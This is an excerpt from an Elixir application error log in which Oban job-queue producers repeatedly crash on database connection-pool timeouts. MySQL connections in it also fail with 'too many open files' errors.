"default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207686>, refresh_timer: #Reference<0.2525715032.1077411843.207651>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:41:08.239574Z], limit: 5, uuid: "9326edb7-7792-4222-9cec-e92d2de9f976", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.239580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207687>, refresh_timer: #Reference<0.2525715032.1077411843.207640>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:41:08.239725Z], limit: 5, uuid: "ab14d25d-37b3-4fbc-b168-6dcc7b376953", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.239731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207689>, refresh_timer: #Reference<0.2525715032.1099169794.241084>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:41:08.240215Z], limit: 50, uuid: "2a28a555-567d-4fa5-8158-87a412ba4bc7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.240220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207688>, refresh_timer: #Reference<0.2525715032.1077411843.207663>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:41:08.239725Z], limit: 20, uuid: "555771e2-386f-4f59-b1ff-7c90ad251a04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.239731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207685>, refresh_timer: #Reference<0.2525715032.1077411843.207648>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.466000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:21.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:23.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:24.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:24.917000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:27.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:28.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:30.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:31.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:41:20.239730Z], limit: 5, uuid: "50f56768-a619-4813-b27c-9ec4d0d8e388", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.239736Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.85646>, refresh_timer: #Reference<0.2525715032.1099169794.241138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:41:20.239596Z], limit: 5, uuid: "a801fed6-aca0-4bef-b8d9-4e901df9d814", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.239602Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208061>, refresh_timer: #Reference<0.2525715032.1077411843.208041>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:41:20.239182Z], limit: 10, uuid: "c6758833-1dc6-4db3-9687-7d7d412b40ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.239189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208063>, refresh_timer: #Reference<0.2525715032.1068236804.232996>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:41:20.239346Z], limit: 50, uuid: "11ac37a0-32bb-461a-a9d2-b5d2bfad7a3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.239351Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208062>, refresh_timer: #Reference<0.2525715032.1077411843.208028>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
